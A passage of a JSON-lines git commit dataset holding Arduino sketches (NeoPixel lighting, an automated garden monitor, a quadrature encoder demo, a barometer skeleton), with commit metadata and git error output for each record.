8;\n teapotPacket[23] = temperature & 0xFF;\n Serial.write(teapotPacket, 28);\n teapotPacket[25]++; \/\/ packetCount, loops at 0xFF on purpose\n\n \/\/ blink LED to indicate activity\n blinkState = !blinkState;\n digitalWrite(LED_PIN, blinkState);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testing\/arduino\/MPU6050.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"69c367254fea9ba61d865027155155c1259d0ad0","subject":"Fixes writing of bytes to the serial stream.","message":"Fixes writing of bytes to the serial stream.\n","repos":"bassjansson\/vera,bassjansson\/vera,bassjansson\/vera,bassjansson\/vera","old_file":"endgame\/arduino\/arduino.ino","new_file":"endgame\/arduino\/arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bassjansson\/vera.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e5e681a962d8cfe5c9b73a899a4542e4bb6e3d1a","subject":"+ Initial commit","message":"+ Initial commit\n","repos":"brucedjones\/ToolPass,brucedjones\/ToolPass","old_file":"toolpass.ino","new_file":"toolpass.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"33f076ec9eb8498246b9c3ccb5b616d1be898547","subject":"V1 of the arduino code to listen on serial and control the lights.","message":"V1 of the arduino code to listen on serial and control the lights.\n","repos":"feanil\/thunder-lights,feanil\/thunder-lights,feanil\/thunder-lights","old_file":"arduino\/thunder\/thunder.ino","new_file":"arduino\/thunder\/thunder.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n\n#define NUM_LEDS 300\n#define PIN 7\n#define WHITE 255,255,255\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(NUM_LEDS, PIN, NEO_GRB + NEO_KHZ800);\n\nint lighting_style = 0;\nint intensity = 0;\nuint8_t index = 0;\n\nvoid setup() {\n Serial.begin(9600);\n strip.begin();\n strip.show();\n}\n\nvoid loop() {\n if (Serial.available() > 1) {\n lighting_style = Serial.read();\n intensity = Serial.read();\n\n if(index=0){\n index = random(NUM_LEDS);\n }\n\n strip.setPixelColor(index, strip.Color(WHITE));\n strip.setBrightness(intensity);\n strip.show();\n\n \n Serial.print(\"Index: \");\n Serial.print(index);\n Serial.print(\" Intensity:\");\n Serial.println(intensity);\n\n \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/thunder\/thunder.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"90959536fd9cce432331d8f00e29423013499748","subject":"New directory structure","message":"New directory structure\n","repos":"labfab\/vitrines-io,labfab\/vitrines-io,labfab\/vitrines-io,labfab\/vitrines-io","old_file":"src\/arduino\/PCF8575_i2c_Arduino\/PCF8575_i2c_Arduino.ino","new_file":"src\/arduino\/PCF8575_i2c_Arduino\/PCF8575_i2c_Arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/labfab\/vitrines-io.git\/'\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"e0dcce5a4cc2adb972795856478bd9cafd6195f6","subject":"Inital Code Commit","message":"Inital Code Commit\n\nThis is the first commit of the Garden Project's code. This gives an\noutline of the project's goals and also is intended run on an Arduino\nUno.\n","repos":"Olivinitic\/Garden_Project","old_file":"Automated_Garden_Arduino.ino","new_file":"Automated_Garden_Arduino.ino","new_contents":"\/*************************************************************************************\n* Project: Automated Garden Monitor\n* Author: Oliver Salmeron\n* Date Began: May, 2016\n* \n* Description: This program monitors and controls the parameters of a garden space. \n* All inputs and outputs are modular by design and can be selected as desired.\n* \n* Hardware Hook Up:\n* - Indicator LED\n* -- Digital Pin 2 -> 1k Resistor -> LED -> GND (Series)\n* -- LED: Positive Lead is the longer lead\n* - DHT11 Humidity and Temperature Sensor\n* -- 3.3V - pin 1\n* -- GND - pin 4\n* -- Digital Pin 3 - pin 2\n* - Soil Moisture Sensor\n* -- 3.3V - Red Wire\n* -- GND - Black Wire\n* -- Analog Pin 0 - Green Wire\n* - Photocell\n* -- 3.3V - Either End\n* -- Analog Pin 1 - Opposite End + 5kOhm Pull Down Resistor (to GND)\n* - Digital Temperature Sensor\n* -- ??\n* - Water Flow Sensor\n* -- 5V Power Source - Red Wire\n* -- Digital Pin 4 - Yellow Wire\n* -- GND - Black Wire\n* - Water Solenoid Valve\n* -- Digital Pin 5 - Transistor: 12V -> Both Terminals\n* \n* Wireless Communication:\n* - Bluetooth (Feather)\n* -- Eddystone URL: https:\/\/freeboard.io\/board\/Rqzu2j\n* -- Description: The bluetooth nRF51 chip broadcasts the link above to any nearby devices. This website is where all the information is displayed visually.\n* - WiFi (HUZZAH)\n* -- IP Address: \n* -- SSID: \n* -- Password: \n* \n* Steps:\n* 1. Get Parts\n* 2. Set Up sensors individually\n* 3. Set Up sensors under 1 code\n* 4. Enclose\n* 5. Make a projected Business Plan\n* - Executive Summary\n* -- Expected Revenues, Expenses, Profits (5 years)\n* -- Funding needed\n* - Company Overview\n* - Industry Analysis\n* -- Market Overview\n* -- Relevant Market Size\n* - Customer Analysis\n* -- Target Customers\n* -- Customer Needs\n* - Competitive Analysis\n* -- Direct Competitors\n* -- Indirect Competitors\n* -- Competitive Advantages\n* - Marketing Plan\n* -- Products & Services\n* -- Pricing\n* -- Promotions Plan\n* -- Distributions Plan\n* - Price of Production\n* - Price of Retail\n* - \n* \n*\n* Psuedoinstructions:\n* - Inputs (Settings and Sensors)\n* Config\/Settings <-- Presets or User \"Recipes\"\n* Defines the Parameters (# of plants, strains, area)\n* Controls the Outputs and Automation\n* Documentation <-- Create a new portfolio or Select an existing one\n* | Portfolio Name: Name |\n* | Strain\/Plant Name: Name |\n* | Setting: Name |\n* | # of plants: 1 |\n* | Sensors Connected: 4\/5 |\n* | Humidity -- ok |\n* | Temperature -- ok |\n* | Soil Moisture -- ok |\n* | Light Intensity -- ok |\n* | Water Flow -- error, not connected |\n* | Sensor Data: Saved to SD card |\n* | Humidity -- % |\n* | Temperature -- Fahrenheit | \n* | Heat Index -- Fahrenheit |\n* | Soil Moisture -- ? |\n* | Light Intensity -- lux |\n* | Water Flow -- lps | \n* | Water Used -- Liters or Gallons |\n* | Water Tank -- Liters or Gallons |\n* | Picture: Timelapse |\n* | Graphs: Select Timeframe |\n* | Past 24 Hours |\n* | Past 2 Weeks |\n* | Past Month |\n* | Full Length |\n* Sensors <-- Modular and Wireless \n* | Humidity -- DHT11 Humidity & Temp Sensor |\n* | Temperature -- DHT11 Humidity & Temp Sensor |\n* | Amazon Digital Temp Sensor |\n* | Soil Moisture -- Sparkfun Soil Moisture Sensor |\n* | Lights -- Photocell Diode |\n* | Water Flow -- Adafruit Water Flow Sensor |\n* | Camera -- FLIR, Webcam |\n* | Display Interface -- Joystick, Button and Text | \n* | Water pH -- eTape Chemical Sensor (Need to purchase) |\n* | Soil pH -- (Need to Purchase) |\n* | pH Level -- (Need to purchase) |\n* | Nutrients -- (Need to purchase) |\n* | Foliar Feeding or Injection to Water line |\n* \n* - Outputs (Controls and Displays)\n* Automation <-- Defined in the Settings\n* | 1. Light Cycle and Intensity Controls\n* | LED's -- Light & Temperature Sensors |\n* | 2. Fan Controls |\n* | Computer Fan -- Humidity & Temperature |\n* | 3. Water Controls |\n* | Solenoid Valve -- Soil Moisture |\n* | 5. [Nutrient Controls] |\n* | 6. [pH Controls] |\n* Micro OLED <-- [System Information]\n* | Internet Connection: Yes (If No, info is saved on SD) |\n* | Datalogging: Yes | \n* | Plant Groups: 5 |\n* | 1. Cannabis |\n* | 2. Succulents |\n* | 3. Jalapenos\/ Veggies |\n* | 4. Herbs |\n* | 5. Houseplants |\n* | Group 1: Name (each plant\/section has a unique Portfolio) |\n* | Strain: Name |\n* | Settings: Preset 1\/ mySettings 1 |\n* | # of plants: 1 |\n* | Sensors Connected: 4\/5 (display errors if any) |\n* | Humidity - ok |\n* | Temperature - ok |\n* | Soil Moisture - ok |\n* | Light Intensity - ok |\n* | Water Flow - error, not connected |\n* | Sensor Data: Averaged over 30 second intervals |\n* | Humidity - % |\n* | Temperature - Fahrenheit & Heat Index |\n* | Soil Moisture - |\n* | Light Intensity - lux |\n* | Water Flow - lps |\n* Wireless Hardware <-- Any IoT hardware used in the project \n* | Bluetooth chip: Connects the Modular Devices, broadcast Website Link |\n* | WiFi chip: Connects the System with the Internet |\n* Wireless Software <-- Any IoT software used in the project\n* | Dweet.io - https:\/\/dweet.io\/\n* | Freeboard.io - https:\/\/freeboard.io\/board\/Rqzu2j\n* | Sparkfun Phant - https:\/\/learn.sparkfun.com\/tutorials\/pushing-data-to-datasparkfuncom\/what-is-phant\n* \n* Data Logs <-- Each Plant\/Group has a Portfolio\n* | 1. Plant\/Strain Name |\n* | 2. Log # (auto check for last log) |\n* | 3. Date |\n* | 4. Setting Name |\n* | 5. Picture |\n* | 6. Data (last 24 hrs, 1 month, beggining of time) |\n* | 7. Notes |\n* \n*******************************************************************\n* To-do: Add User Input for initial setup Configuration\n* Add Inputs (Sensors and Settings)\n* - Digital Temp sensor (from amazon)\n* - [Nutrients Portfolio]\n* - [Connect 5 led level display for each sensor (7x = 35 leds)]\n* -- Average range of values\n* Add Outputs (Controls, Communications and Displays)\n* - Light Controls\n* -- Linked with Light Intensity and settings\n* -- Add if\/else statements to integrate light schedule\n* -- Preset Cycle Settings\n* - Fan Controls\n* -- Linked with Humidity and Temp\n* -- Add if\/else statements to integrate fan schedule\n* -- Preset Ideal Heat Index (humidity & temp) Settings\n* - Water Controls\n* -- Linked with Soil Moisture\n* -- Add if\/else statements to integrate watering schedule\n* -- Preset Ideal Water Thresholds Settings\n* -- Adjust for soil\n* - [Nutrient Controls]\n* -- Linked with [Nutrient Sensor]\n* -- Preset Strain Nutrient Recipes\n* - Communication (BLE)\n* -- Sensor Data Transmission\n* -- API\n* -- GUI \n* - Graphs and Displays\n* -- Light Intensity vs Time\n* -- Humidity, Temp, Fan Cycles vs Time\n* -- Soil Moisture vs Time\n* -- Average range of values\n* Update entire code to Feather M0, SAMD21 support\n* \n*\n* MIT license, check LICENSE for more information\n* All text above, and the splash screen below must be included in\n* any redistribution\n*********************************************************************\/\n\n\/*********************************************************************\n* void setup() {\n* \/\/ Initialize Input Sensors\n* \/\/ Camera\n* \/\/ Temperature (Digital Temp)\n* \/\/ Humidity (Digital)\n* \/\/ Soil Moisture (Analog)\n* \n* \/\/ Light Sensor (Analog)\n* \/\/ Water Level Sensor ()\n* \/\/ pH Sensor (Digital)\n* }\n* \n* void loop() {\n* \/\/ Read Sensors\n* \/\/ Display Sensor Readings (Micro OLED)\n* \/\/ Transmit Sensor Readings (Bluetooth)\n* \/\/ Output Controls\n* \/\/ Light Controls\n* \/\/ Water Controls\n* \/\/ Fan Controls\n* }\n*********************************************************************\/\n\n\n#include <Arduino.h>\n#include <SPI.h>\n#if not defined (_VARIANT_ARDUINO_DUE_X_) && not defined (_VARIANT_ARDUINO_ZERO_)\n #include <SoftwareSerial.h>\n#endif\n\n#include <Wire.h> \/\/ Adafruit I2C Library\n#include <Adafruit_Sensor.h> \/\/ Adafruit Sensor Library\n\n#include \"DHT.h\" \/\/ DHT11 Sensor Library\n\n\/\/ Adafruit Bluefruit Libraries\n#include \"Adafruit_BLE.h\" \/\/ Adafruit Bluetooth Library\n#include \"Adafruit_BluefruitLE_SPI.h\" \/\/ Adafruit Bluefruit I2C Definition\n#include \"Adafruit_BluefruitLE_UART.h\" \/\/ Adafruit Bluefruit UART Definition\n\n\n#include \"BluefruitConfig.h\" \/\/ Adafruit Bluefruit Config file\n\n\n\/\/ DEFINITIONS\n\/\/ DHT11 Humidity and Temperature Sensor Definitions\n#define DHTPIN 2 \/\/ what digital pin we're connected to\n#define DHTTYPE DHT11 \/\/ DHT 11 type\n\nDHT dht(DHTPIN, DHTTYPE); \/\/ Initialize DHT sensor.\n\n\/\/ DHT11 pinout\n\/\/ Connect pin 1 (on the left) of the sensor to +5V\n\/\/ NOTE: If using a board with 3.3V logic like an Arduino Due connect pin 1\n\/\/ to 3.3V instead of 5V!\n\/\/ Connect pin 2 of the sensor to whatever your DHTPIN is\n\/\/ Connect pin 4 (on the right) of the sensor to GROUND\n\/\/ Connect a 10K resistor from pin 2 (data) to pin 1 (power) of the sensor\n\n\/\/ Soil Moisture Sensor Definitions\nint sensorPin1 = A0; \/\/ sensorPin1 <-- Soil Moisture (Analog pin A0)\n\nint thresholdUp = 400; \/\/ High threshold that is used in the Water Cycle\nint thresholdDown = 250; \/\/ Low threshold that is used in the Water Cycle\n\n\/\/ Photocell Light Intensity Definitions\nint photocellPin = 1; \/\/ the cell and 10K pulldown are connected to a1\nint photocellReading; \/\/ the analog reading from the sensor divider\n\n\/\/ LED Definitions\nint LEDpin = 3; \/\/ connect Red LED to Digital pin 3 (PWM pin)\nint LEDbrightness; \/\/ Used when controlling brightness\n\n\/\/ Water Flow Sensor Definitions\n#define FLOWSENSORPIN 4 \/\/ Digital Pin 4 <-- Flow Sensor\n\n\/\/ count how many pulses!\nvolatile uint16_t pulses = 0;\n\/\/ track the state of the pulse pin\nvolatile uint8_t lastflowpinstate;\n\/\/ you can try to keep time of how long it is between pulses\nvolatile uint32_t lastflowratetimer = 0;\n\/\/ and use that to calculate a flow rate\nvolatile float flowrate;\n\/\/ Interrupt is called once a millisecond, looks for any pulses from the sensor!\nSIGNAL(TIMER0_COMPA_vect) {\n uint8_t x = digitalRead(FLOWSENSORPIN);\n \n if (x == lastflowpinstate) {\n lastflowratetimer++;\n return; \/\/ nothing changed!\n }\n \n if (x == HIGH) {\n \/\/low to high transition!\n pulses++;\n }\n lastflowpinstate = x;\n flowrate = 1000.0;\n flowrate \/= lastflowratetimer; \/\/ in hertz\n lastflowratetimer = 0;\n}\n\n\/\/ Create useInterrupt function tool for Water Flow Sensor\nvoid useInterrupt(boolean v) {\n if (v) {\n \/\/ Timer0 is already used for millis() - we'll just interrupt somewhere\n \/\/ in the middle and call the \"Compare A\" function above\n OCR0A = 0xAF;\n TIMSK0 |= _BV(OCIE0A);\n } else {\n \/\/ do not call the interrupt function COMPA anymore\n TIMSK0 &= ~_BV(OCIE0A);\n }\n}\n\n\nvoid setup(void)\n{\n while (!Serial); \/\/ required for Flora & Micro\n delay(500); \/\/ Wait 0.5 sec before checking again\n\n Serial.begin(115200); \/\/ Set the Baud Rate\n \/\/ System Information\n Serial.println(F(\"Automated Garden Code\"));\n Serial.println(F(\"------------------------------------\"));\n delay(500); \/\/ wait for display to boot up\n\n\/*\n pinMode(FLOWSENSORPIN, INPUT); \/\/ Define digital pin 4 as input\n digitalWrite(FLOWSENSORPIN, HIGH); \/\/ Set digital pin 4 to high\n lastflowpinstate = digitalRead(FLOWSENSORPIN); \/\/ Set the read digital value to lastflowpinstate\n useInterrupt(true);\n \n dht.begin();\n*\/\n}\n\nvoid loop(void)\n{\n \n \/\/ Wait a few seconds between measurements.\n delay(2000);\n \/\/ Add the reading # and timestamp to each reading measured\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Reading # and Timestamp loop\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Add the reading # and timestamp to each measurement recorded\n int reading;\n int i;\n String timestamp;\n String ts;\n \n timestamp = (\"May 3, 2015 \");\n ts = timestamp;\n \n i = 1;\n reading = reading + i;\n \n Serial.print(reading);\n Serial.print(\"\\t\");\n Serial.println(ts);\n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Soil Moisture Sensor loop\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Define sensorValue as the pin's analog value.\n int sensorValue1;\n sensorValue1 = analogRead(sensorPin1);\n \n \/\/ Print the Soil Moisture Level info.\n Serial.print(\"Soil Moisture Level: \");\n Serial.print(sensorValue1);\n Serial.print(\"\\t\");\n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Photocell Light Intensity loop\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n photocellReading = analogRead(photocellPin); \n \n \/\/ Print the raw analog light intensity value\n Serial.print(\"| Analog light reading: \");\n Serial.print(photocellReading); \/\/ the raw analog reading\n \/\/ We'll have a few threshholds, qualitatively determined\n if (photocellReading < 10) {\n Serial.println(\" - Dark\");\n } else if (photocellReading < 200) {\n Serial.println(\" - Dim\");\n } else if (photocellReading < 500) {\n Serial.println(\" - Light\");\n } else if (photocellReading < 800) {\n Serial.println(\" - Bright\");\n } else {\n Serial.println(\" - Very bright\");\n }\n Serial.println(\"\\t| \");\n \/\/ Convert to Lux\n \/\/ ??????????????\n\/* \/\/ Control the brightness of an LED in response to photocell\n \/\/ LED gets brighter the darker it is at the sensor\n \/\/ that means we have to -invert- the reading from 0-1023 back to 1023-0\n photocellReading = 1023 - photocellReading;\n \/\/now we have to map 0-1023 to 0-255 since thats the range analogWrite uses\n LEDbrightness = map(photocellReading, 0, 1023, 0, 255);\n analogWrite(LEDpin, LEDbrightness);\n*\/\n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ DHT11 Humidity and Temperature loop\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Reading temperature or humidity takes about 250 milliseconds!\n \/\/ Sensor readings may also be up to 2 seconds 'old' (its a very slow sensor)\n float h = dht.readHumidity();\n \/\/ Read temperature as Celsius (the default)\n float t = dht.readTemperature();\n \/\/ Read temperature as Fahrenheit (isFahrenheit = true)\n float f = dht.readTemperature(true);\n\n \/\/ Check if any reads failed and exit early (to try again).\n if (isnan(h) || isnan(t) || isnan(f)) {\n Serial.println(\"Failed to read from DHT sensor!\");\n return;\n }\n\n \/\/ Compute heat index in Fahrenheit (the default)\n float hif = dht.computeHeatIndex(f, h);\n \/\/ Compute heat index in Celsius (isFahreheit = false)\n float hic = dht.computeHeatIndex(t, h, false);\n \n \/\/ Print Humidity\/Temp Info\n Serial.print(\"Humidity: \");\n Serial.print(h);\n Serial.print(\" %\\t\");\n Serial.print(\"| Temperature: \");\n Serial.print(t);\n Serial.print(\" *C \");\n Serial.print(f);\n Serial.print(\" *F\");\n Serial.print(\"| Heat index: \");\n Serial.print(hic);\n Serial.print(\" *C \");\n Serial.print(hif);\n Serial.println(\" *F\");\n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Water Flow sensor loop\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Print Water Flow sensor info\n Serial.print(\"Freq: \"); Serial.print(flowrate); Serial.print(\" \\t\\t\");\n Serial.print(\"| Pulses: \"); Serial.print(pulses, DEC); Serial.print(\" \\t\\t\\t\");\n \n \/\/ if a plastic sensor use the following calculation\n \/\/ Sensor Frequency (Hz) = 7.5 * Q (Liters\/min)\n \/\/ Liters = Q * time elapsed (seconds) \/ 60 (seconds\/minute)\n \/\/ Liters = (Frequency (Pulses\/second) \/ 7.5) * time elapsed (seconds) \/ 60\n \/\/ Liters = Pulses \/ (7.5 * 60)\n float liters = pulses;\n liters \/= 7.5;\n liters \/= 60.0;\n\n \/\/ Print the amount of liquid passed in liters\n Serial.print(\"| Liters: \"); Serial.println(liters);\n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Light Intensity sensor loop\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \/\/ Water Resevoir Level sensor loop\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n \n}\n\n\/**************************************************************************\/\n\/*!\n @brief Checks for user input (via the Serial Monitor)\n*\/\n\/**************************************************************************\/\nvoid getUserInput(char buffer[], uint8_t maxSize)\n{\n memset(buffer, 0, maxSize);\n while( Serial.available() == 0 ) {\n delay(1);\n }\n\n uint8_t count=0;\n\n do\n {\n count += Serial.readBytes(buffer+count, maxSize);\n delay(2);\n } while( (count < maxSize) && !(Serial.available() == 0) );\n\n\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Automated_Garden_Arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"88eec26429562611d2a174d34a9e4e5e756ac808","subject":"Optimise data types","message":"Optimise data types","repos":"majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino","old_file":"build\/shared\/examples\/01.Basics\/DigitalReadSerial\/DigitalReadSerial.ino","new_file":"build\/shared\/examples\/01.Basics\/DigitalReadSerial\/DigitalReadSerial.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: remote error: upload-pack: not our ref 88eec26429562611d2a174d34a9e4e5e756ac808\nfatal: the remote end hung up unexpectedly\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"96bed350fd35d3c0efe66f913fd6deee9ae3620e","subject":"Fix Serial1 being imported instead of Serial","message":"Fix Serial1 being imported instead of Serial\n","repos":"Newark-Catholic-Robotics-Club\/Newark-Catholic-Atmospheric-Exploration-Project,Newark-Catholic-Robotics-Club\/Newark-Catholic-Atmospheric-Exploration-Project","old_file":"Data Logging\/Data-Logging-Main\/Data-Logging-Main.ino","new_file":"Data Logging\/Data-Logging-Main\/Data-Logging-Main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Data' did not match any file(s) known to git\nerror: pathspec 'Logging\/Data-Logging-Main\/Data-Logging-Main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a71e6fa644f6c7fe33d9e6235fc6cc9d699ffb19","subject":"Create motordirection_calculation.ino","message":"Create motordirection_calculation.ino","repos":"jdmgroup\/robotchemistry","old_file":"encoder\/motordirection_calculation.ino","new_file":"encoder\/motordirection_calculation.ino","new_contents":"\/*\n\n Quadrature Encoder Direction Calculation (Robot Chemistry 4.IS8)\n\n James H. Bannock and John C. de Mello\n\n Department of Chemistry,\n Imperial College London\n\n Version 1.02\n\n Created: Feb 2014\n Updated: Nov 2016\n\n ---\n \n Requirements:\n\n Stepper motor driven from an Easydriver.\n \n Two channel quadrature encoder optical encoder coupled to motor shaft.\n\n Refer to slide 66 in 2016 notes for formulation of matrix\n\n ---\n\n Outputs:\n - Direction pin of Easydriver - PIN 2\n - Step pin of Easydriver - PIN 3\n - Channel A of encoder - PIN 5\n - Channel B of encoder - PIN 6\n\n*\/\n\n\/\/ macro definitions\n#define DIR_PIN 2\n#define STEP_PIN 3\n#define ENCODER_A 5\n#define ENCODER_B 6\n\nint eMatrix[4][4] = \n{\n {0, -1, 1, 2},\n {1, 0, 2, -1},\n { -1, 2, 0, 1},\n {2, 1, -1, 0}\n};\n\nint OldValue = -2;\nint CurrentValue = -1;\nint Direction;\n\n\/\/ set the motor direction here\nint dir = 1; \/\/ 1 for clockwise \/ -1 for anticlockwise\n\nvoid setup() {\n\n \/\/ turn on serial communication\n Serial.begin(9600);\n\n \/\/ setup pins\n pinMode(ENCODER_A, INPUT);\n pinMode(ENCODER_B, INPUT);\n pinMode(DIR_PIN, OUTPUT);\n pinMode(STEP_PIN, OUTPUT);\n}\n\nvoid loop() {\n\n OldValue = digitalRead(ENCODER_A) * 2 + digitalRead(ENCODER_B);\n\n while (CurrentValue != OldValue) {\n\n rotate(dir, 1000);\n\n CurrentValue = digitalRead(ENCODER_A) * 2 + digitalRead(ENCODER_B);\n Direction = eMatrix[OldValue][CurrentValue];\n\n \/\/ switch-case to handle different outcomes (alternative is to use nested if-statments)\n switch (Direction) {\n\n case 2:\n \/\/Serial.println(\"Unknown\");\n break;\n\n case 1:\n Serial.println(\"Forward\");\n break;\n\n case -1:\n Serial.println(\"Reverse\");\n break;\n\n case 0:\n \/\/Serial.print(\"No Movement\");\n break;\n\n \/*\n * Notes: \n * \n * In the switch-case statement the use of 'break' causes the switch-case to finish at this point.\n * \n * Without a break, the code continues to test the argument (Direction) against the remaining cases.\n * \n *\/\n\n }\n\n OldValue = CurrentValue;\n\n }\n\n rotate(dir, 1000);\n \n}\n\nvoid rotate(int microsteps, float delay_) { \/\/ function to perform rotation\n\n if (microsteps > 0) {\n digitalWrite(DIR_PIN, HIGH); \/\/ if the number of steps is positive -> motor moves fowards\n }\n else {\n digitalWrite(DIR_PIN, LOW); \/\/ if the number of steps is negative -> motor moves in reverse\n }\n\n for (int i = 0; i < abs(microsteps); i++) {\n digitalWrite(STEP_PIN, HIGH);\n delayMicroseconds(delay_); \/\/ wait for a defined time (see calc_delay())\n digitalWrite(STEP_PIN, LOW);\n delayMicroseconds(delay_); \/\/ wait for a defined time (see calc_delay())\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'encoder\/motordirection_calculation.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d8956c174af367c8a5313ae5847baea2d6094d37","subject":"Create barometer skeleton sketch","message":"Create barometer skeleton sketch\n\nWe're going to split off all of the sensors in the card and put them in separate files for easier debugging.","repos":"karikawa\/2014-2015,UCLARocketProject\/2014-2015,karikawa\/2014-2015,karikawa\/2014-2015,UCLARocketProject\/2014-2015,UCLARocketProject\/2014-2015,karikawa\/2014-2015,UCLARocketProject\/2014-2015,karikawa\/2014-2015,UCLARocketProject\/2014-2015","old_file":"Calibration\/barometer_skeleton\/barometer_skeleton.ino","new_file":"Calibration\/barometer_skeleton\/barometer_skeleton.ino","new_contents":"#include <Wire.h>\n#include <Adafruit_Sensor.h>\n#include <Adafruit_LSM303_U.h>\n#include <Adafruit_BMP085_U.h>\n#include <Adafruit_10DOF.h>\n\n\/* Assign a unique ID to the sensors *\/\nAdafruit_10DOF dof = Adafruit_10DOF();\nAdafruit_LSM303_Accel_Unified accel = Adafruit_LSM303_Accel_Unified(30301);\nAdafruit_LSM303_Mag_Unified mag = Adafruit_LSM303_Mag_Unified(30302);\nAdafruit_BMP085_Unified bmp = Adafruit_BMP085_Unified(18001);\n\n\/* Update this with the correct SLP for accurate altitude measurements *\/\nfloat seaLevelPressure = SENSORS_PRESSURE_SEALEVELHPA;\n\n\/**************************************************************************\/\n\/*!\n @brief Initialises all the sensors used by this 